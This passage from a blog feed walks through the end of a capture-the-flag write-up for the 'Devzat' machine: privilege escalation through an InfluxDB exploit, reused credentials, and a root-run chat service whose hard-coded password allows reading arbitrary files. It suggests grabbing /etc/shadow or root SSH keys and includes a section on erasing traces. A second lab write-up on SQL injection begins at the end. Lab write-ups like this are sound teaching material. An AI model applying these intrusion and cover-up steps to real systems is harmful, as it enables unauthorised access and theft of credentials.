</span></span><span style="display:flex;"><span>tcp     LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">4096</span>           <span style="color:#ae81ff">127.0.0.1</span>:<span style="color:#ae81ff">8086</span>          <span style="color:#ae81ff">0.0.0.0</span>:<span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>tcp     LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">128</span>              <span style="color:#ae81ff">0.0.0.0</span>:<span style="color:#ae81ff">22</span>            <span style="color:#ae81ff">0.0.0.0</span>:<span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>tcp     LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">4096</span>           <span style="color:#ae81ff">127.0.0.1</span>:<span style="color:#ae81ff">8443</span>          <span style="color:#ae81ff">0.0.0.0</span>:<span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>tcp     LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">4096</span>           <span style="color:#ae81ff">127.0.0.1</span>:<span style="color:#ae81ff">5000</span>          <span style="color:#ae81ff">0.0.0.0</span>:<span style="color:#f92672">*</span>       users:((<span style="color:#e6db74">&#34;petshop&#34;</span>,pid<span style="color:#f92672">=</span><span style="color:#ae81ff">855</span>,fd<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span>))
</span></span><span style="display:flex;"><span>tcp     LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">128</span>                 [::]:<span style="color:#ae81ff">22</span>               [::]:<span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>tcp     LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">4096</span>                   <span style="color:#f92672">*</span>:<span style="color:#ae81ff">8000</span>                <span style="color:#f92672">*</span>:<span style="color:#f92672">*</span>       users:((<span style="color:#e6db74">&#34;devchat&#34;</span>,pid<span style="color:#f92672">=</span><span style="color:#ae81ff">856</span>,fd<span style="color:#f92672">=</span><span style="color:#ae81ff">7</span>))
</span></span><span style="display:flex;"><span>tcp     LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">511</span>                    <span style="color:#f92672">*</span>:<span style="color:#ae81ff">80</span>                  <span style="color:#f92672">*</span>:<span style="color:#f92672">*</span>
</span></span></code></pre></div><p>My attention quickly felt on that port <code>8086</code>. Checking the processes, there&rsquo;s also something really shady running on the background.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>root        <span style="color:#ae81ff">1279</span>       <span style="color:#ae81ff">1</span>  <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">05</span>:<span style="color:#ae81ff">28</span> <span style="color:#960050;background-color:#1e0010">?</span>        <span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">01</span> <span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>containerd<span style="color:#f92672">-</span>shim<span style="color:#f92672">-</span>runc<span style="color:#f92672">-</span>v2 <span style="color:#f92672">-</span>namespace moby <span style="color:#f92672">-</span>id bcf2dac78cc0f71f3ae09bb2d70be065cd4bc8df3cfcc6d4c1b070c64f1ba804 <span style="color:#f92672">-</span>address <span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>containerd<span style="color:#f92672">/</span>containerd<span style="color:#f92672">.</span>sock
</span></span><span style="display:flex;"><span>root        <span style="color:#ae81ff">1301</span>    <span style="color:#ae81ff">1279</span>  <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">05</span>:<span style="color:#ae81ff">28</span> <span style="color:#960050;background-color:#1e0010">?</span>        <span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">23</span>  \_ influxdb
</span></span></code></pre></div><p>A SQL-like syntax database - <a href="https://www.influxdata.com/">InfluxDB</a>. Looking for public vulnerabilities on ExploitDB yeilded no result. On the other hand, Github actually gave us something:</p>
<div style="text-align: center;"><div class="github-card" data-github="LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933" data-width="400" data-height="150" data-theme="default"></div><script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<p>Instructions are laid out pretty clear on its README. I would also say this is one of the most stable, eye-candy looking shells that I have had a chance to use.</p>
<p>Looking around in the database for a while, I finally got my hand on the million-dollar piece of information.

  <img src="/img/devzat/privesc/influxdb.png#center" alt="">

</p>
<p>And it seems like <code>catherine</code> reused her credentials, because I could easily logged in her account using that password:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>patrick@devzat:~$ su catherine
</span></span><span style="display:flex;"><span>Password: 
</span></span><span style="display:flex;"><span>catherine@devzat:/home/patrick$ id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>catherine<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>catherine<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>catherine<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>With this, now the user flag is in our hand.</p>
<h2 id="iii-lfi---root-flag">III. LFI - Root flag</h2>
<p><span style="color: #696969;">tl;dr: Discover backup and use hard-corded password to get LFI as root</span>
<br/>
There&rsquo;s a small side story you need to know: at the time of writing&hellip;</p>
<p>
  <img src="/img/devzat/privesc/pwnkit-still-work.png#center" alt="">

</p>
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034"><em><strong><code>CVE-2021-4034</code></strong></em></a>, (in)famously known as the <em>&ldquo;Pwnkit exploit&rdquo;</em>, still worked. I will not guide you on this <em>&ldquo;dark side of the Force&rdquo;</em> path, but you should be able to pull off the trick if you&rsquo;ve gotten this far.</p>
<p>If you insists on going the intended exploit path, then first, take a look at the running processes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root         <span style="color:#ae81ff">832</span>       <span style="color:#ae81ff">1</span>  <span style="color:#ae81ff">0</span> 05:27 ?        00:00:00 /bin/bash /root/devzat/start.sh
</span></span><span style="display:flex;"><span>root         <span style="color:#ae81ff">857</span>     <span style="color:#ae81ff">832</span>  <span style="color:#ae81ff">0</span> 05:27 ?        00:00:00  <span style="color:#ae81ff">\_</span> ./devchat
</span></span></code></pre></div><p>Baffling enough, <code>root</code> was running a <code>devchat</code> instance! So where was it exposing to?</p>
<p>Out of all opening ports, we can see that port <code>8443</code> had the most potential.</p>
<p>Just for personal preference, I forwarded it to my local first.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh -i id_rsa -L 8443:127.0.0.1:8443 patrick@devzat.htb
</span></span></code></pre></div><p>And then connect to it with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh -l aki 127.0.0.1 -p <span style="color:#ae81ff">8443</span>
</span></span></code></pre></div><p>You can clearly see there&rsquo;s a weird command deemed as <em><strong>&ldquo;alpha&rdquo;</strong></em> in this instance:

  <img src="/img/devzat/privesc/devzat-commands.png#center" alt="">

</p>
<p>At first I thought that would be an obvious local file read vulnerability, but man, if only life was that easy:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#e6db74">aki</span>: <span style="color:#e6db74">/file /</span>root<span style="color:#f92672">/</span>root<span style="color:#f92672">.</span>txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span><span style="color:#66d9ef">SYSTEM</span><span style="color:#f92672">]</span> <span style="color:#66d9ef">You</span> need to provide the correct password to use this function
</span></span><span style="display:flex;"><span><span style="color:#e6db74">aki</span>: <span style="color:#e6db74">/file /</span>root<span style="color:#f92672">/</span>root<span style="color:#f92672">.</span>txt somepassword
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span><span style="color:#66d9ef">SYSTEM</span><span style="color:#f92672">]</span> <span style="color:#66d9ef">You</span> did provide the wrong password
</span></span></code></pre></div><p>The bad thing is, except from that exact command, nothing else was abnormal.</p>
<p>And it was that moment that an idea suddenly flashed through my mind - will I see others&rsquo; messages if I log in with their username?

  <figure>
    <img src="/img/devzat/privesc/patrick-message.png#center" alt="">
    <figcaption>Some really nasty secret chat going on</figcaption>
  </figure>

</p>
<p>What about <code>catherine</code>?</p>
<p>
  <img src="/img/devzat/privesc/catherine-message.png#center" alt="">

</p>
<p>Well, I came looking for copper - but I found gold!</p>
<p>Just a side story, well, no matter how many ctfs I have done, I cannot help but feel a bit illegal reading others&rsquo; chat messages, even when it&rsquo;s fictional&hellip;</p>
<p>Moving on, I think we could look for backups with a fairly simple command, like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span>catherine@devzat<span style="color:#e6db74">:~</span><span style="color:#960050;background-color:#1e0010">$</span> find <span style="color:#f92672">/</span> <span style="color:#f92672">-</span>name <span style="color:#e6db74">&#34;*backup*&#34;</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">&gt;</span><span style="color:#e6db74">/dev/nu</span>ll
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/snap/</span>core18<span style="color:#f92672">/</span><span style="color:#ae81ff">2128</span><span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>share<span style="color:#f92672">/</span>bash<span style="color:#f92672">-</span>completion<span style="color:#f92672">/</span>completions<span style="color:#f92672">/</span>vgcfgbackup
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/snap/</span>core18<span style="color:#f92672">/</span><span style="color:#ae81ff">2128</span><span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>backups
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/snap/</span>core18<span style="color:#f92672">/</span><span style="color:#ae81ff">2074</span><span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>share<span style="color:#f92672">/</span>bash<span style="color:#f92672">-</span>completion<span style="color:#f92672">/</span>completions<span style="color:#f92672">/</span>vgcfgbackup
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/snap/</span>core18<span style="color:#f92672">/</span><span style="color:#ae81ff">2074</span><span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>backups
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/s</span>bin<span style="color:#f92672">/</span>vgcfgbackup
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/s</span>hare<span style="color:#f92672">/</span>man<span style="color:#f92672">/</span>man8<span style="color:#f92672">/</span>vgcfgbackup<span style="color:#f92672">.</span><span style="color:#ae81ff">8</span><span style="color:#f92672">.</span>gz
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/s</span>hare<span style="color:#f92672">/</span>doc<span style="color:#f92672">/</span>libipc<span style="color:#f92672">-</span>system<span style="color:#f92672">-</span>simple<span style="color:#f92672">-</span>perl<span style="color:#f92672">/</span>examples<span style="color:#f92672">/</span>rsync<span style="color:#f92672">-</span>backup<span style="color:#f92672">.</span>pl
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/s</span>hare<span style="color:#f92672">/</span>bash<span style="color:#f92672">-</span>completion<span style="color:#f92672">/</span>completions<span style="color:#f92672">/</span>vgcfgbackup
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/</span>lib<span style="color:#f92672">/</span>open<span style="color:#f92672">-</span>vm<span style="color:#f92672">-</span>tools<span style="color:#f92672">/</span>plugins<span style="color:#f92672">/</span>vmsvc<span style="color:#f92672">/</span>libvmbackup<span style="color:#f92672">.</span>so
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/</span>lib<span style="color:#f92672">/</span>modules<span style="color:#f92672">/</span><span style="color:#ae81ff">5</span><span style="color:#f92672">.</span><span style="color:#ae81ff">4</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">77</span><span style="color:#f92672">-</span>generic<span style="color:#f92672">/</span>kernel<span style="color:#f92672">/</span>drivers<span style="color:#f92672">/</span>net<span style="color:#f92672">/</span>team<span style="color:#f92672">/</span>team_mode_activebackup<span style="color:#f92672">.</span>ko
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/</span>lib<span style="color:#f92672">/</span>modules<span style="color:#f92672">/</span><span style="color:#ae81ff">5</span><span style="color:#f92672">.</span><span style="color:#ae81ff">4</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">77</span><span style="color:#f92672">-</span>generic<span style="color:#f92672">/</span>kernel<span style="color:#f92672">/</span>drivers<span style="color:#f92672">/</span>power<span style="color:#f92672">/</span>supply<span style="color:#f92672">/</span>wm831x_backup<span style="color:#f92672">.</span>ko
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/</span>lib<span style="color:#f92672">/</span>python3<span style="color:#f92672">/</span>dist<span style="color:#f92672">-</span>packages<span style="color:#f92672">/</span>sos<span style="color:#f92672">/</span>report<span style="color:#f92672">/</span>plugins<span style="color:#f92672">/</span>ovirt_engine_backup<span style="color:#f92672">.</span>py
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/</span>lib<span style="color:#f92672">/</span>python3<span style="color:#f92672">/</span>dist<span style="color:#f92672">-</span>packages<span style="color:#f92672">/</span>sos<span style="color:#f92672">/</span>report<span style="color:#f92672">/</span>plugins<span style="color:#f92672">/</span>__pycache__<span style="color:#f92672">/</span>ovirt_engine_backup<span style="color:#f92672">.</span>cpython<span style="color:#f92672">-</span><span style="color:#ae81ff">38</span><span style="color:#f92672">.</span>pyc
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/s</span>rc<span style="color:#f92672">/</span>linux<span style="color:#f92672">-</span>headers<span style="color:#f92672">-</span><span style="color:#ae81ff">5</span><span style="color:#f92672">.</span><span style="color:#ae81ff">4</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">77</span><span style="color:#f92672">/</span>tools<span style="color:#f92672">/</span>testing<span style="color:#f92672">/</span>selftests<span style="color:#f92672">/</span>net<span style="color:#f92672">/</span>tcp_fastopen_backup_key<span style="color:#f92672">.</span>sh
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/s</span>rc<span style="color:#f92672">/</span>linux<span style="color:#f92672">-</span>headers<span style="color:#f92672">-</span><span style="color:#ae81ff">5</span><span style="color:#f92672">.</span><span style="color:#ae81ff">4</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">77</span><span style="color:#f92672">-</span>generic<span style="color:#f92672">/</span><span style="color:#66d9ef">include</span><span style="color:#f92672">/</span>config<span style="color:#f92672">/</span>wm831x<span style="color:#f92672">/</span>backup<span style="color:#f92672">.</span>h
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/usr/s</span>rc<span style="color:#f92672">/</span>linux<span style="color:#f92672">-</span>headers<span style="color:#f92672">-</span><span style="color:#ae81ff">5</span><span style="color:#f92672">.</span><span style="color:#ae81ff">4</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">-</span><span style="color:#ae81ff">77</span><span style="color:#f92672">-</span>generic<span style="color:#f92672">/</span><span style="color:#66d9ef">include</span><span style="color:#f92672">/</span>config<span style="color:#f92672">/</span>net<span style="color:#f92672">/</span>team<span style="color:#f92672">/</span>mode<span style="color:#f92672">/</span>activebackup<span style="color:#f92672">.</span>h
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/sys/</span>devices<span style="color:#f92672">/</span>virtual<span style="color:#f92672">/</span>net<span style="color:#f92672">/</span>vethbb59ceb<span style="color:#f92672">/</span>brport<span style="color:#f92672">/</span>backup_port
</span></span><span style="display:flex;"><span><span style="color:#e6db74">/var/</span>backups
</span></span></code></pre></div><p>Without a doubt, that <code>/var/backups</code> was absolutely suspicious:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>catherine@devzat:~$ cd /var/backups
</span></span><span style="display:flex;"><span>catherine@devzat:/var/backups$ ls
</span></span><span style="display:flex;"><span>alternatives.tar.0  apt.extended_states.0  apt.extended_states.1.gz  apt.extended_states.2.gz  devzat-dev.zip  devzat-main.zip  dpkg.diversions.0  dpkg.statoverride.0  dpkg.status.0
</span></span></code></pre></div><p>As you can see, both the <code>main</code> and <code>dev</code> version were there. So I opened a simple Python HTTP server and downloaded them onto my machine for further inspection. You can also do the next steps on the remote machine if you want, but you know, that&rsquo;s just personal preference.</p>
<p>Upon running <code>diff dev main</code>, a whole bunch of things jumped out.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>diff dev/allusers.json main/allusers.json
</span></span><span style="display:flex;"><span>1c1,3
</span></span><span style="display:flex;"><span>&lt; <span style="color:#f92672">{}</span>
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt; <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&gt;    <span style="color:#e6db74">&#34;eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3&#34;</span>: <span style="color:#e6db74">&#34;\u001b[38;5;214mtest\u001b[39m&#34;</span>
</span></span><span style="display:flex;"><span>&gt; <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>diff dev/commands.go main/commands.go
</span></span><span style="display:flex;"><span>4d3
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#e6db74">&#34;bufio&#34;</span>
</span></span><span style="display:flex;"><span>6,7d4
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#e6db74">&#34;path/filepath&#34;</span>
</span></span><span style="display:flex;"><span>40d36
</span></span><span style="display:flex;"><span>&lt; 		file        <span style="color:#f92672">=</span> commandInfo<span style="color:#f92672">{</span><span style="color:#e6db74">&#34;file&#34;</span>, <span style="color:#e6db74">&#34;Paste a files content directly to chat [alpha]&#34;</span>, fileCommand, 1, false, nil<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>42,101c38
</span></span><span style="display:flex;"><span>&lt; 	commands <span style="color:#f92672">=</span> <span style="color:#f92672">[]</span>commandInfo<span style="color:#f92672">{</span>clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; func fileCommand<span style="color:#f92672">(</span>u *user, args <span style="color:#f92672">[]</span>string<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#66d9ef">if</span> len<span style="color:#f92672">(</span>args<span style="color:#f92672">)</span> &lt; <span style="color:#ae81ff">1</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 		u.system<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Please provide file to print and the password&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#66d9ef">if</span> len<span style="color:#f92672">(</span>args<span style="color:#f92672">)</span> &lt; <span style="color:#ae81ff">2</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 		u.system<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;You need to provide the correct password to use this function&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 	path :<span style="color:#f92672">=</span> args<span style="color:#f92672">[</span>0<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>&lt; 	pass :<span style="color:#f92672">=</span> args<span style="color:#f92672">[</span>1<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 	// Check my secure password
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#66d9ef">if</span> pass !<span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;CeilingCatStillAThingIn2021?&#34;</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 		u.system<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;You did provide the wrong password&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 	// Get CWD
</span></span><span style="display:flex;"><span>&lt; 	cwd, err :<span style="color:#f92672">=</span> os.Getwd<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#66d9ef">if</span> err !<span style="color:#f92672">=</span> nil <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 		u.system<span style="color:#f92672">(</span>err.Error<span style="color:#f92672">())</span>
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 	// Construct path to print
</span></span><span style="display:flex;"><span>&lt; 	printPath :<span style="color:#f92672">=</span> filepath.Join<span style="color:#f92672">(</span>cwd, path<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 	// Check <span style="color:#66d9ef">if</span> file exists
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#66d9ef">if</span> _, err :<span style="color:#f92672">=</span> os.Stat<span style="color:#f92672">(</span>printPath<span style="color:#f92672">)</span>; err <span style="color:#f92672">==</span> nil <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 		// exists, print
</span></span><span style="display:flex;"><span>&lt; 		file, err :<span style="color:#f92672">=</span> os.Open<span style="color:#f92672">(</span>printPath<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#66d9ef">if</span> err !<span style="color:#f92672">=</span> nil <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 			u.system<span style="color:#f92672">(</span>fmt.Sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Something went wrong opening the file: %+v&#34;</span>, err.Error<span style="color:#f92672">()))</span>
</span></span><span style="display:flex;"><span>&lt; 			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 		defer file.Close<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 		scanner :<span style="color:#f92672">=</span> bufio.NewScanner<span style="color:#f92672">(</span>file<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#66d9ef">for</span> scanner.Scan<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 			u.system<span style="color:#f92672">(</span>scanner.Text<span style="color:#f92672">())</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#66d9ef">if</span> err :<span style="color:#f92672">=</span> scanner.Err<span style="color:#f92672">()</span>; err !<span style="color:#f92672">=</span> nil <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 			u.system<span style="color:#f92672">(</span>fmt.Sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Something went wrong printing the file: %+v&#34;</span>, err.Error<span style="color:#f92672">()))</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>&lt; 
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#f92672">}</span> <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> os.IsNotExist<span style="color:#f92672">(</span>err<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>&lt; 		// does not exist, print error
</span></span><span style="display:flex;"><span>&lt; 		u.system<span style="color:#f92672">(</span>fmt.Sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;The requested file @ %+v does not exist!&#34;</span>, printPath<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>&lt; 		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>&lt; 	<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>&lt; 	// bokred?
</span></span><span style="display:flex;"><span>&lt; 	u.system<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Something went badly wrong.&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt; 	commands <span style="color:#f92672">=</span> <span style="color:#f92672">[]</span>commandInfo<span style="color:#f92672">{</span>clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>diff dev/devchat.go main/devchat.go
</span></span><span style="display:flex;"><span>27c27
</span></span><span style="display:flex;"><span>&lt; 	port <span style="color:#f92672">=</span> <span style="color:#ae81ff">8443</span>
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt; 	port <span style="color:#f92672">=</span> <span style="color:#ae81ff">8000</span>
</span></span><span style="display:flex;"><span>114c114
</span></span><span style="display:flex;"><span>&lt; 		fmt.Sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;127.0.0.1:%d&#34;</span>, port<span style="color:#f92672">)</span>,
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt; 		fmt.Sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;:%d&#34;</span>, port<span style="color:#f92672">)</span>,
</span></span><span style="display:flex;"><span>Only in dev: testfile.txt
</span></span></code></pre></div><p>See the password? Well, to be honest, hard-coded passwords are common in development phase. That being the case, we&rsquo;ll gratefully use that password and exploit the <a href="https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/">LFI vulnerability</a>, as root.</p>
<p>At this point you should be able to read the root flag at <code>/root/root.txt</code>. If instead, you want to go <em>&ldquo;further and beyond&rdquo;</em> to get a full-fledged root shell, you can look for <em>&ldquo;LFI to reverse shell&rdquo;</em> - there&rsquo;re ample guides on Google. More creatively, there maybe is a SSH key in <code>/root/.ssh</code>, or just grab the <code>/etc/shadow</code> file and start cracking it - it all depends on your imagination.</p>
<h2 id="iv-house-cleaning">IV. House cleaning</h2>
<span style="color: #696969;">tl;dr: Clean all traces before secretly leaving</span>
<br/>
<h3 id="1-the-id_rsa-file-in-git-folder">1. The id_rsa file in <code>.git</code> folder</h3>
<p>This one is easy. Just delete it from wherever you put it earlier.</p>
<h3 id="2-history-and-logs">2. History and logs</h3>
<p>Bash history had been set as symlinks to <code>/dev/null</code> from the very beginning, so it&rsquo;s not a concern.</p>
<h2 id="v-final-words">V. Final words</h2>
<p>This blog post turned out to be much lenghthier than I expected, but I&rsquo;ve had lots of fun while learnt a ton along the way - and hopefully, you too!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Try Hack Me - Gallery</title>
      <link>https://www.akihakune.com/blog/gallery/</link>
      <pubDate>Thu, 24 Feb 2022 16:34:48 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/gallery/</guid>
      <description>A great beginner machine to learn SQL injection</description>
      <content:encoded><![CDATA[<h2 id="overview">Overview</h2>
<p>Welcome to <a href="https://tryhackme.com/room/gallery666">Try Hack Me&rsquo;s Gallery</a>! In short, this box is all about <a href="https://portswigger.net/web-security/sql-injection">SQL injection</a> - inject all the way to get a shell, then exploit a command that we can run as <strong><code>root</code></strong> to get the flag!</p>
<h2 id="i-reconnaisance">I. Reconnaisance</h2>
<span style="color: #696969;"><strong>tl;dr:</strong> Scan for open ports, find out a login form. Perform a SQL injection to log in.</span>
<p>Here&rsquo;s the port scan result:</p>
